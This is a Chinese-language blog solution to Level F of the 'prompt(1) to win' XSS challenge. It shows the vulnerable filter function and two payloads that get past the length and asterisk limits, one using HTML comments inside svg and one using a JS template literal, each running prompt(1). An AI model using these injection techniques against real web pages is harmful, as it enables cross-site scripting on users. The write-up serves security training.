【prompt(1) to win】 Level F - Length2



题目

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}

解题报告

这题与 【Level 7 - Length】 十分相似,区别在于:

  • 长度限制从 12 放宽到 15
  • * 被过滤,导致 JS 注释 /* */ 不可用

解法一:SVG 注释

换言之,要解决这题,就需要使用另一种方法实现多行注释。我第一时间想到的就是 HTML 注释 <!-- -->

但是这题在 HTML 中穿插着 JS 代码,而在默认 HTML 语境下, HTML 注释是没办法在 JS 代码中使用的。

为了解决这个问题,可以借助 <svg> 标签强制解析 XML 语法的特点:

<svg> 标签中若包含 JS 代码,即使使用 HTML 注释 <!-- --> 也是可以被成功解析的。

例如:

<svg>
    <!-- xxxx -->
    <script>
        <!-- yyyy -->
        alert(1)
        <!-- zzzz -->
        alert(2)
    </script>
</svg>


那么这题的答案的呼之欲出了,我们只需要最终构造成这样的代码即可:

<p class="comment" title=""><svg><!--    " data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt<!--  " data-comment='{"id":2}'></p>
<p class="comment" title="-->(1)</script>" data-comment='{"id":3}'></p>

从而可以反推出这题的 payload 为(注意此处去掉了前面测试时的全部空格,那些空格只是为了便于对齐观察注入点,没有什么作用,保留或删除均可): "><svg><!--#--><script><!--#-->prompt<!--#-->(1)</script>


解法二:模板字符串

这题其实还有另一种解法,可以使用 模板字符串 解题。

在 JS 中,可以使用 倒引号(或反引号)包围字符串,字符串中再以 ${expression} 方式入表达式,这样表达式就会被执行,例如:

<script>
    `<a="1" b='2'> ${prompt(1)} by exp`
</script>

回到这题,我们只需要最终构造成这样的代码即可:

<p class="comment" title=""><script>`    " data-comment='{"id":0}'></p>
<p class="comment" title="${prompt(1)}   " data-comment='{"id":1}'></p>
<p class="comment" title="`</script>     " data-comment='{"id":2}'></p>

从而可以反推出这题的 payload 为(注意此处去掉了前面测试时的全部空格,那些空格只是为了便于对齐观察注入点,没有什么作用,保留或删除均可):

"><script>`#${prompt(1)}#`</script>

注:这个 payload 也可用于 【Level 7 - Length】 。


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录